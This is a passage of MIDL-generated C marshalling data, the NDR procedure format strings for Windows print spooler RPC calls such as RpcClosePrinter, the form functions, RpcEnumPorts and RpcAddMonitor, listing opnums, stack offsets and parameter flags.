938 | /* 1058 */ 0x44, /* Oi2 Flags: has return, has ext, */
939 | 0x1, /* 1 */
940 | /* 1060 */ 0xa, /* 10 */
941 | 0x1, /* Ext Flags: new corr desc, */
942 | /* 1062 */ NdrFcShort( 0x0 ), /* 0 */
943 | /* 1064 */ NdrFcShort( 0x0 ), /* 0 */
944 | /* 1066 */ NdrFcShort( 0x0 ), /* 0 */
945 | /* 1068 */ NdrFcShort( 0x0 ), /* 0 */
946 |
947 | /* Return value */
948 |
949 | /* 1070 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
950 | /* 1072 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
951 | /* 1074 */ 0x8, /* FC_LONG */
952 | 0x0, /* 0 */
953 |
954 | /* Procedure RpcClosePrinter */
955 |
956 | /* 1076 */ 0x0, /* 0 */
957 | 0x48, /* Old Flags: */
958 | /* 1078 */ NdrFcLong( 0x0 ), /* 0 */
959 | /* 1082 */ NdrFcShort( 0x1d ), /* 29 */
960 | /* 1084 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
961 | /* 1086 */ 0x30, /* FC_BIND_CONTEXT */
962 | 0xe0, /* Ctxt flags: via ptr, in, out, */
963 | /* 1088 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
964 | /* 1090 */ 0x0, /* 0 */
965 | 0x0, /* 0 */
966 | /* 1092 */ NdrFcShort( 0x38 ), /* 56 */
967 | /* 1094 */ NdrFcShort( 0x40 ), /* 64 */
968 | /* 1096 */ 0x44, /* Oi2 Flags: has return, has ext, */
969 | 0x2, /* 2 */
970 | /* 1098 */ 0xa, /* 10 */
971 | 0x1, /* Ext Flags: new corr desc, */
972 | /* 1100 */ NdrFcShort( 0x0 ), /* 0 */
973 | /* 1102 */ NdrFcShort( 0x0 ), /* 0 */
974 | /* 1104 */ NdrFcShort( 0x0 ), /* 0 */
975 | /* 1106 */ NdrFcShort( 0x0 ), /* 0 */
976 |
977 | /* Parameter phPrinter */
978 |
979 | /* 1108 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */
980 | /* 1110 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
981 | /* 1112 */ NdrFcShort( 0x32 ), /* Type Offset=50 */
982 |
983 | /* Return value */
984 |
985 | /* 1114 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
986 | /* 1116 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
987 | /* 1118 */ 0x8, /* FC_LONG */
988 | 0x0, /* 0 */
989 |
990 | /* Procedure RpcAddForm */
991 |
992 | /* 1120 */ 0x0, /* 0 */
993 | 0x48, /* Old Flags: */
994 | /* 1122 */ NdrFcLong( 0x0 ), /* 0 */
995 | /* 1126 */ NdrFcShort( 0x1e ), /* 30 */
996 | /* 1128 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
997 | /* 1130 */ 0x32, /* FC_BIND_PRIMITIVE */
998 | 0x0, /* 0 */
999 | /* 1132 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1000 | /* 1134 */ NdrFcShort( 0x0 ), /* 0 */
1001 | /* 1136 */ NdrFcShort( 0x8 ), /* 8 */
1002 | /* 1138 */ 0x44, /* Oi2 Flags: has return, has ext, */
1003 | 0x1, /* 1 */
1004 | /* 1140 */ 0xa, /* 10 */
1005 | 0x1, /* Ext Flags: new corr desc, */
1006 | /* 1142 */ NdrFcShort( 0x0 ), /* 0 */
1007 | /* 1144 */ NdrFcShort( 0x0 ), /* 0 */
1008 | /* 1146 */ NdrFcShort( 0x0 ), /* 0 */
1009 | /* 1148 */ NdrFcShort( 0x0 ), /* 0 */
1010 |
1011 | /* Return value */
1012 |
1013 | /* 1150 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1014 | /* 1152 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1015 | /* 1154 */ 0x8, /* FC_LONG */
1016 | 0x0, /* 0 */
1017 |
1018 | /* Procedure RpcDeleteForm */
1019 |
1020 | /* 1156 */ 0x0, /* 0 */
1021 | 0x48, /* Old Flags: */
1022 | /* 1158 */ NdrFcLong( 0x0 ), /* 0 */
1023 | /* 1162 */ NdrFcShort( 0x1f ), /* 31 */
1024 | /* 1164 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1025 | /* 1166 */ 0x32, /* FC_BIND_PRIMITIVE */
1026 | 0x0, /* 0 */
1027 | /* 1168 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1028 | /* 1170 */ NdrFcShort( 0x0 ), /* 0 */
1029 | /* 1172 */ NdrFcShort( 0x8 ), /* 8 */
1030 | /* 1174 */ 0x44, /* Oi2 Flags: has return, has ext, */
1031 | 0x1, /* 1 */
1032 | /* 1176 */ 0xa, /* 10 */
1033 | 0x1, /* Ext Flags: new corr desc, */
1034 | /* 1178 */ NdrFcShort( 0x0 ), /* 0 */
1035 | /* 1180 */ NdrFcShort( 0x0 ), /* 0 */
1036 | /* 1182 */ NdrFcShort( 0x0 ), /* 0 */
1037 | /* 1184 */ NdrFcShort( 0x0 ), /* 0 */
1038 |
1039 | /* Return value */
1040 |
1041 | /* 1186 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1042 | /* 1188 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1043 | /* 1190 */ 0x8, /* FC_LONG */
1044 | 0x0, /* 0 */
1045 |
1046 | /* Procedure RpcGetForm */
1047 |
1048 | /* 1192 */ 0x0, /* 0 */
1049 | 0x48, /* Old Flags: */
1050 | /* 1194 */ NdrFcLong( 0x0 ), /* 0 */
1051 | /* 1198 */ NdrFcShort( 0x20 ), /* 32 */
1052 | /* 1200 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1053 | /* 1202 */ 0x32, /* FC_BIND_PRIMITIVE */
1054 | 0x0, /* 0 */
1055 | /* 1204 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1056 | /* 1206 */ NdrFcShort( 0x0 ), /* 0 */
1057 | /* 1208 */ NdrFcShort( 0x8 ), /* 8 */
1058 | /* 1210 */ 0x44, /* Oi2 Flags: has return, has ext, */
1059 | 0x1, /* 1 */
1060 | /* 1212 */ 0xa, /* 10 */
1061 | 0x1, /* Ext Flags: new corr desc, */
1062 | /* 1214 */ NdrFcShort( 0x0 ), /* 0 */
1063 | /* 1216 */ NdrFcShort( 0x0 ), /* 0 */
1064 | /* 1218 */ NdrFcShort( 0x0 ), /* 0 */
1065 | /* 1220 */ NdrFcShort( 0x0 ), /* 0 */
1066 |
1067 | /* Return value */
1068 |
1069 | /* 1222 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1070 | /* 1224 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1071 | /* 1226 */ 0x8, /* FC_LONG */
1072 | 0x0, /* 0 */
1073 |
1074 | /* Procedure RpcSetForm */
1075 |
1076 | /* 1228 */ 0x0, /* 0 */
1077 | 0x48, /* Old Flags: */
1078 | /* 1230 */ NdrFcLong( 0x0 ), /* 0 */
1079 | /* 1234 */ NdrFcShort( 0x21 ), /* 33 */
1080 | /* 1236 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1081 | /* 1238 */ 0x32, /* FC_BIND_PRIMITIVE */
1082 | 0x0, /* 0 */
1083 | /* 1240 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1084 | /* 1242 */ NdrFcShort( 0x0 ), /* 0 */
1085 | /* 1244 */ NdrFcShort( 0x8 ), /* 8 */
1086 | /* 1246 */ 0x44, /* Oi2 Flags: has return, has ext, */
1087 | 0x1, /* 1 */
1088 | /* 1248 */ 0xa, /* 10 */
1089 | 0x1, /* Ext Flags: new corr desc, */
1090 | /* 1250 */ NdrFcShort( 0x0 ), /* 0 */
1091 | /* 1252 */ NdrFcShort( 0x0 ), /* 0 */
1092 | /* 1254 */ NdrFcShort( 0x0 ), /* 0 */
1093 | /* 1256 */ NdrFcShort( 0x0 ), /* 0 */
1094 |
1095 | /* Return value */
1096 |
1097 | /* 1258 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1098 | /* 1260 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1099 | /* 1262 */ 0x8, /* FC_LONG */
1100 | 0x0, /* 0 */
1101 |
1102 | /* Procedure RpcEnumForms */
1103 |
1104 | /* 1264 */ 0x0, /* 0 */
1105 | 0x48, /* Old Flags: */
1106 | /* 1266 */ NdrFcLong( 0x0 ), /* 0 */
1107 | /* 1270 */ NdrFcShort( 0x22 ), /* 34 */
1108 | /* 1272 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1109 | /* 1274 */ 0x32, /* FC_BIND_PRIMITIVE */
1110 | 0x0, /* 0 */
1111 | /* 1276 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1112 | /* 1278 */ NdrFcShort( 0x0 ), /* 0 */
1113 | /* 1280 */ NdrFcShort( 0x8 ), /* 8 */
1114 | /* 1282 */ 0x44, /* Oi2 Flags: has return, has ext, */
1115 | 0x1, /* 1 */
1116 | /* 1284 */ 0xa, /* 10 */
1117 | 0x1, /* Ext Flags: new corr desc, */
1118 | /* 1286 */ NdrFcShort( 0x0 ), /* 0 */
1119 | /* 1288 */ NdrFcShort( 0x0 ), /* 0 */
1120 | /* 1290 */ NdrFcShort( 0x0 ), /* 0 */
1121 | /* 1292 */ NdrFcShort( 0x0 ), /* 0 */
1122 |
1123 | /* Return value */
1124 |
1125 | /* 1294 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1126 | /* 1296 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1127 | /* 1298 */ 0x8, /* FC_LONG */
1128 | 0x0, /* 0 */
1129 |
1130 | /* Procedure RpcEnumPorts */
1131 |
1132 | /* 1300 */ 0x0, /* 0 */
1133 | 0x48, /* Old Flags: */
1134 | /* 1302 */ NdrFcLong( 0x0 ), /* 0 */
1135 | /* 1306 */ NdrFcShort( 0x23 ), /* 35 */
1136 | /* 1308 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1137 | /* 1310 */ 0x32, /* FC_BIND_PRIMITIVE */
1138 | 0x0, /* 0 */
1139 | /* 1312 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1140 | /* 1314 */ NdrFcShort( 0x0 ), /* 0 */
1141 | /* 1316 */ NdrFcShort( 0x8 ), /* 8 */
1142 | /* 1318 */ 0x44, /* Oi2 Flags: has return, has ext, */
1143 | 0x1, /* 1 */
1144 | /* 1320 */ 0xa, /* 10 */
1145 | 0x1, /* Ext Flags: new corr desc, */
1146 | /* 1322 */ NdrFcShort( 0x0 ), /* 0 */
1147 | /* 1324 */ NdrFcShort( 0x0 ), /* 0 */
1148 | /* 1326 */ NdrFcShort( 0x0 ), /* 0 */
1149 | /* 1328 */ NdrFcShort( 0x0 ), /* 0 */
1150 |
1151 | /* Return value */
1152 |
1153 | /* 1330 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1154 | /* 1332 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1155 | /* 1334 */ 0x8, /* FC_LONG */
1156 | 0x0, /* 0 */
1157 |
1158 | /* Procedure RpcEnumMonitors */
1159 |
1160 | /* 1336 */ 0x0, /* 0 */
1161 | 0x48, /* Old Flags: */
1162 | /* 1338 */ NdrFcLong( 0x0 ), /* 0 */
1163 | /* 1342 */ NdrFcShort( 0x24 ), /* 36 */
1164 | /* 1344 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1165 | /* 1346 */ 0x32, /* FC_BIND_PRIMITIVE */
1166 | 0x0, /* 0 */
1167 | /* 1348 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1168 | /* 1350 */ NdrFcShort( 0x0 ), /* 0 */
1169 | /* 1352 */ NdrFcShort( 0x8 ), /* 8 */
1170 | /* 1354 */ 0x44, /* Oi2 Flags: has return, has ext, */
1171 | 0x1, /* 1 */
1172 | /* 1356 */ 0xa, /* 10 */
1173 | 0x1, /* Ext Flags: new corr desc, */
1174 | /* 1358 */ NdrFcShort( 0x0 ), /* 0 */
1175 | /* 1360 */ NdrFcShort( 0x0 ), /* 0 */
1176 | /* 1362 */ NdrFcShort( 0x0 ), /* 0 */
1177 | /* 1364 */ NdrFcShort( 0x0 ), /* 0 */
1178 |
1179 | /* Return value */
1180 |
1181 | /* 1366 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1182 | /* 1368 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1183 | /* 1370 */ 0x8, /* FC_LONG */
1184 | 0x0, /* 0 */
1185 |
1186 | /* Procedure Opnum37NotUsedOnWire */
1187 |
1188 | /* 1372 */ 0x0, /* 0 */
1189 | 0x48, /* Old Flags: */
1190 | /* 1374 */ NdrFcLong( 0x0 ), /* 0 */
1191 | /* 1378 */ NdrFcShort( 0x25 ), /* 37 */
1192 | /* 1380 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1193 | /* 1382 */ 0x32, /* FC_BIND_PRIMITIVE */
1194 | 0x0, /* 0 */
1195 | /* 1384 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1196 | /* 1386 */ NdrFcShort( 0x0 ), /* 0 */
1197 | /* 1388 */ NdrFcShort( 0x0 ), /* 0 */
1198 | /* 1390 */ 0x40, /* Oi2 Flags: has ext, */
1199 | 0x0, /* 0 */
1200 | /* 1392 */ 0xa, /* 10 */
1201 | 0x1, /* Ext Flags: new corr desc, */
1202 | /* 1394 */ NdrFcShort( 0x0 ), /* 0 */
1203 | /* 1396 */ NdrFcShort( 0x0 ), /* 0 */
1204 | /* 1398 */ NdrFcShort( 0x0 ), /* 0 */
1205 | /* 1400 */ NdrFcShort( 0x0 ), /* 0 */
1206 |
1207 | /* Procedure Opnum38NotUsedOnWire */
1208 |
1209 | /* 1402 */ 0x0, /* 0 */
1210 | 0x48, /* Old Flags: */
1211 | /* 1404 */ NdrFcLong( 0x0 ), /* 0 */
1212 | /* 1408 */ NdrFcShort( 0x26 ), /* 38 */
1213 | /* 1410 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1214 | /* 1412 */ 0x32, /* FC_BIND_PRIMITIVE */
1215 | 0x0, /* 0 */
1216 | /* 1414 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1217 | /* 1416 */ NdrFcShort( 0x0 ), /* 0 */
1218 | /* 1418 */ NdrFcShort( 0x0 ), /* 0 */
1219 | /* 1420 */ 0x40, /* Oi2 Flags: has ext, */
1220 | 0x0, /* 0 */
1221 | /* 1422 */ 0xa, /* 10 */
1222 | 0x1, /* Ext Flags: new corr desc, */
1223 | /* 1424 */ NdrFcShort( 0x0 ), /* 0 */
1224 | /* 1426 */ NdrFcShort( 0x0 ), /* 0 */
1225 | /* 1428 */ NdrFcShort( 0x0 ), /* 0 */
1226 | /* 1430 */ NdrFcShort( 0x0 ), /* 0 */
1227 |
1228 | /* Procedure RpcDeletePort */
1229 |
1230 | /* 1432 */ 0x0, /* 0 */
1231 | 0x48, /* Old Flags: */
1232 | /* 1434 */ NdrFcLong( 0x0 ), /* 0 */
1233 | /* 1438 */ NdrFcShort( 0x27 ), /* 39 */
1234 | /* 1440 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1235 | /* 1442 */ 0x32, /* FC_BIND_PRIMITIVE */
1236 | 0x0, /* 0 */
1237 | /* 1444 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1238 | /* 1446 */ NdrFcShort( 0x0 ), /* 0 */
1239 | /* 1448 */ NdrFcShort( 0x8 ), /* 8 */
1240 | /* 1450 */ 0x44, /* Oi2 Flags: has return, has ext, */
1241 | 0x1, /* 1 */
1242 | /* 1452 */ 0xa, /* 10 */
1243 | 0x1, /* Ext Flags: new corr desc, */
1244 | /* 1454 */ NdrFcShort( 0x0 ), /* 0 */
1245 | /* 1456 */ NdrFcShort( 0x0 ), /* 0 */
1246 | /* 1458 */ NdrFcShort( 0x0 ), /* 0 */
1247 | /* 1460 */ NdrFcShort( 0x0 ), /* 0 */
1248 |
1249 | /* Return value */
1250 |
1251 | /* 1462 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1252 | /* 1464 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1253 | /* 1466 */ 0x8, /* FC_LONG */
1254 | 0x0, /* 0 */
1255 |
1256 | /* Procedure RpcCreatePrinterIC */
1257 |
1258 | /* 1468 */ 0x0, /* 0 */
1259 | 0x48, /* Old Flags: */
1260 | /* 1470 */ NdrFcLong( 0x0 ), /* 0 */
1261 | /* 1474 */ NdrFcShort( 0x28 ), /* 40 */
1262 | /* 1476 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1263 | /* 1478 */ 0x32, /* FC_BIND_PRIMITIVE */
1264 | 0x0, /* 0 */
1265 | /* 1480 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1266 | /* 1482 */ NdrFcShort( 0x0 ), /* 0 */
1267 | /* 1484 */ NdrFcShort( 0x8 ), /* 8 */
1268 | /* 1486 */ 0x44, /* Oi2 Flags: has return, has ext, */
1269 | 0x1, /* 1 */
1270 | /* 1488 */ 0xa, /* 10 */
1271 | 0x1, /* Ext Flags: new corr desc, */
1272 | /* 1490 */ NdrFcShort( 0x0 ), /* 0 */
1273 | /* 1492 */ NdrFcShort( 0x0 ), /* 0 */
1274 | /* 1494 */ NdrFcShort( 0x0 ), /* 0 */
1275 | /* 1496 */ NdrFcShort( 0x0 ), /* 0 */
1276 |
1277 | /* Return value */
1278 |
1279 | /* 1498 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1280 | /* 1500 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1281 | /* 1502 */ 0x8, /* FC_LONG */
1282 | 0x0, /* 0 */
1283 |
1284 | /* Procedure RpcPlayGdiScriptOnPrinterIC */
1285 |
1286 | /* 1504 */ 0x0, /* 0 */
1287 | 0x48, /* Old Flags: */
1288 | /* 1506 */ NdrFcLong( 0x0 ), /* 0 */
1289 | /* 1510 */ NdrFcShort( 0x29 ), /* 41 */
1290 | /* 1512 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1291 | /* 1514 */ 0x32, /* FC_BIND_PRIMITIVE */
1292 | 0x0, /* 0 */
1293 | /* 1516 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1294 | /* 1518 */ NdrFcShort( 0x0 ), /* 0 */
1295 | /* 1520 */ NdrFcShort( 0x8 ), /* 8 */
1296 | /* 1522 */ 0x44, /* Oi2 Flags: has return, has ext, */
1297 | 0x1, /* 1 */
1298 | /* 1524 */ 0xa, /* 10 */
1299 | 0x1, /* Ext Flags: new corr desc, */
1300 | /* 1526 */ NdrFcShort( 0x0 ), /* 0 */
1301 | /* 1528 */ NdrFcShort( 0x0 ), /* 0 */
1302 | /* 1530 */ NdrFcShort( 0x0 ), /* 0 */
1303 | /* 1532 */ NdrFcShort( 0x0 ), /* 0 */
1304 |
1305 | /* Return value */
1306 |
1307 | /* 1534 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1308 | /* 1536 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1309 | /* 1538 */ 0x8, /* FC_LONG */
1310 | 0x0, /* 0 */
1311 |
1312 | /* Procedure RpcDeletePrinterIC */
1313 |
1314 | /* 1540 */ 0x0, /* 0 */
1315 | 0x48, /* Old Flags: */
1316 | /* 1542 */ NdrFcLong( 0x0 ), /* 0 */
1317 | /* 1546 */ NdrFcShort( 0x2a ), /* 42 */
1318 | /* 1548 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1319 | /* 1550 */ 0x32, /* FC_BIND_PRIMITIVE */
1320 | 0x0, /* 0 */
1321 | /* 1552 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1322 | /* 1554 */ NdrFcShort( 0x0 ), /* 0 */
1323 | /* 1556 */ NdrFcShort( 0x8 ), /* 8 */
1324 | /* 1558 */ 0x44, /* Oi2 Flags: has return, has ext, */
1325 | 0x1, /* 1 */
1326 | /* 1560 */ 0xa, /* 10 */
1327 | 0x1, /* Ext Flags: new corr desc, */
1328 | /* 1562 */ NdrFcShort( 0x0 ), /* 0 */
1329 | /* 1564 */ NdrFcShort( 0x0 ), /* 0 */
1330 | /* 1566 */ NdrFcShort( 0x0 ), /* 0 */
1331 | /* 1568 */ NdrFcShort( 0x0 ), /* 0 */
1332 |
1333 | /* Return value */
1334 |
1335 | /* 1570 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1336 | /* 1572 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1337 | /* 1574 */ 0x8, /* FC_LONG */
1338 | 0x0, /* 0 */
1339 |
1340 | /* Procedure Opnum43NotUsedOnWire */
1341 |
1342 | /* 1576 */ 0x0, /* 0 */
1343 | 0x48, /* Old Flags: */
1344 | /* 1578 */ NdrFcLong( 0x0 ), /* 0 */
1345 | /* 1582 */ NdrFcShort( 0x2b ), /* 43 */
1346 | /* 1584 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1347 | /* 1586 */ 0x32, /* FC_BIND_PRIMITIVE */
1348 | 0x0, /* 0 */
1349 | /* 1588 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1350 | /* 1590 */ NdrFcShort( 0x0 ), /* 0 */
1351 | /* 1592 */ NdrFcShort( 0x0 ), /* 0 */
1352 | /* 1594 */ 0x40, /* Oi2 Flags: has ext, */
1353 | 0x0, /* 0 */
1354 | /* 1596 */ 0xa, /* 10 */
1355 | 0x1, /* Ext Flags: new corr desc, */
1356 | /* 1598 */ NdrFcShort( 0x0 ), /* 0 */
1357 | /* 1600 */ NdrFcShort( 0x0 ), /* 0 */
1358 | /* 1602 */ NdrFcShort( 0x0 ), /* 0 */
1359 | /* 1604 */ NdrFcShort( 0x0 ), /* 0 */
1360 |
1361 | /* Procedure Opnum44NotUsedOnWire */
1362 |
1363 | /* 1606 */ 0x0, /* 0 */
1364 | 0x48, /* Old Flags: */
1365 | /* 1608 */ NdrFcLong( 0x0 ), /* 0 */
1366 | /* 1612 */ NdrFcShort( 0x2c ), /* 44 */
1367 | /* 1614 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1368 | /* 1616 */ 0x32, /* FC_BIND_PRIMITIVE */
1369 | 0x0, /* 0 */
1370 | /* 1618 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1371 | /* 1620 */ NdrFcShort( 0x0 ), /* 0 */
1372 | /* 1622 */ NdrFcShort( 0x0 ), /* 0 */
1373 | /* 1624 */ 0x40, /* Oi2 Flags: has ext, */
1374 | 0x0, /* 0 */
1375 | /* 1626 */ 0xa, /* 10 */
1376 | 0x1, /* Ext Flags: new corr desc, */
1377 | /* 1628 */ NdrFcShort( 0x0 ), /* 0 */
1378 | /* 1630 */ NdrFcShort( 0x0 ), /* 0 */
1379 | /* 1632 */ NdrFcShort( 0x0 ), /* 0 */
1380 | /* 1634 */ NdrFcShort( 0x0 ), /* 0 */
1381 |
1382 | /* Procedure Opnum45NotUsedOnWire */
1383 |
1384 | /* 1636 */ 0x0, /* 0 */
1385 | 0x48, /* Old Flags: */
1386 | /* 1638 */ NdrFcLong( 0x0 ), /* 0 */
1387 | /* 1642 */ NdrFcShort( 0x2d ), /* 45 */
1388 | /* 1644 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1389 | /* 1646 */ 0x32, /* FC_BIND_PRIMITIVE */
1390 | 0x0, /* 0 */
1391 | /* 1648 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1392 | /* 1650 */ NdrFcShort( 0x0 ), /* 0 */
1393 | /* 1652 */ NdrFcShort( 0x0 ), /* 0 */
1394 | /* 1654 */ 0x40, /* Oi2 Flags: has ext, */
1395 | 0x0, /* 0 */
1396 | /* 1656 */ 0xa, /* 10 */
1397 | 0x1, /* Ext Flags: new corr desc, */
1398 | /* 1658 */ NdrFcShort( 0x0 ), /* 0 */
1399 | /* 1660 */ NdrFcShort( 0x0 ), /* 0 */
1400 | /* 1662 */ NdrFcShort( 0x0 ), /* 0 */
1401 | /* 1664 */ NdrFcShort( 0x0 ), /* 0 */
1402 |
1403 | /* Procedure RpcAddMonitor */
1404 |
1405 | /* 1666 */ 0x0, /* 0 */
1406 | 0x48, /* Old Flags: */
1407 | /* 1668 */ NdrFcLong( 0x0 ), /* 0 */
1408 | /* 1672 */ NdrFcShort( 0x2e ), /* 46 */
1409 | /* 1674 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1410 | /* 1676 */ 0x32, /* FC_BIND_PRIMITIVE */
1411 | 0x0, /* 0 */
1412 | /* 1678 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1413 | /* 1680 */ NdrFcShort( 0x0 ), /* 0 */
1414 | /* 1682 */ NdrFcShort( 0x8 ), /* 8 */
1415 | /* 1684 */ 0x44, /* Oi2 Flags: has return, has ext, */
1416 | 0x1, /* 1 */
1417 | /* 1686 */ 0xa, /* 10 */
1418 | 0x1, /* Ext Flags: new corr desc, */
1419 | /* 1688 */ NdrFcShort( 0x0 ), /* 0 */
1420 | /* 1690 */ NdrFcShort( 0x0 ), /* 0 */
1421 | /* 1692 */ NdrFcShort( 0x0 ), /* 0 */
1422 | /* 1694 */ NdrFcShort( 0x0 ), /* 0 */
1423 |
1424 | /* Return value */
1425 |
1426 | /* 1696 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1427 | /* 1698 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1428 | /* 1700 */ 0x8, /* FC_LONG */
1429 | 0x0, /* 0 */
1430 |
1431 | /* Procedure RpcDeleteMonitor */
1432 |
1433 | /* 1702 */ 0x0, /* 0 */
1434 | 0x48, /* Old Flags: */
1435 | /* 1704 */ NdrFcLong( 0x0 ), /* 0 */
1436 | /* 1708 */ NdrFcShort( 0x2f ), /* 47 */
1437 | /* 1710 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1438 | /* 1712 */ 0x32, /* FC_BIND_PRIMITIVE */
1439 | 0x0, /* 0 */
1440 | /* 1714 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1441 | /* 1716 */ NdrFcShort( 0x0 ), /* 0 */
1442 | /* 1718 */ NdrFcShort( 0x8 ), /* 8 */
1443 | /* 1720 */ 0x44, /* Oi2 Flags: has return, has ext, */
1444 | 0x1, /* 1 */
1445 | /* 1722 */ 0xa, /* 10 */
1446 | 0x1, /* Ext Flags: new corr desc, */
1447 | /* 1724 */ NdrFcShort( 0x0 ), /* 0 */
1448 | /* 1726 */ NdrFcShort( 0x0 ), /* 0 */
1449 | /* 1728 */ NdrFcShort( 0x0 ), /* 0 */
1450 | /* 1730 */ NdrFcShort( 0x0 ), /* 0 */
1451 |
1452 | /* Return value */
1453 |
1454 | /* 1732 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1455 | /* 1734 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1456 | /* 1736 */ 0x8, /* FC_LONG */
1457 | 0x0, /* 0 */
1458 |
1459 | /* Procedure RpcDeletePrintProcessor */
1460 |
1461 | /* 1738 */ 0x0, /* 0 */
1462 | 0x48, /* Old Flags: */
1463 | /* 1740 */ NdrFcLong( 0x0 ), /* 0 */
1464 | /* 1744 */ NdrFcShort( 0x30 ), /* 48 */
1465 | /* 1746 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1466 | /* 1748 */ 0x32, /* FC_BIND_PRIMITIVE */
1467 | 0x0, /* 0 */
1468 | /* 1750 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1469 | /* 1752 */ NdrFcShort( 0x0 ), /* 0 */
1470 | /* 1754 */ NdrFcShort( 0x8 ), /* 8 */
1471 | /* 1756 */ 0x44, /* Oi2 Flags: has return, has ext, */
1472 | 0x1, /* 1 */
1473 | /* 1758 */ 0xa, /* 10 */
1474 | 0x1, /* Ext Flags: new corr desc, */
1475 | /* 1760 */ NdrFcShort( 0x0 ), /* 0 */
1476 | /* 1762 */ NdrFcShort( 0x0 ), /* 0 */
1477 | /* 1764 */ NdrFcShort( 0x0 ), /* 0 */
1478 | /* 1766 */ NdrFcShort( 0x0 ), /* 0 */
1479 |
1480 | /* Return value */
1481 |
1482 | /* 1768 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1483 | /* 1770 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1484 | /* 1772 */ 0x8, /* FC_LONG */
1485 | 0x0, /* 0 */
1486 |
1487 | /* Procedure Opnum49NotUsedOnWire */
1488 |
1489 | /* 1774 */ 0x0, /* 0 */
1490 | 0x48, /* Old Flags: */
1491 | /* 1776 */ NdrFcLong( 0x0 ), /* 0 */
1492 | /* 1780 */ NdrFcShort( 0x31 ), /* 49 */
1493 | /* 1782 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1494 | /* 1784 */ 0x32, /* FC_BIND_PRIMITIVE */
1495 | 0x0, /* 0 */
1496 | /* 1786 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1497 | /* 1788 */ NdrFcShort( 0x0 ), /* 0 */
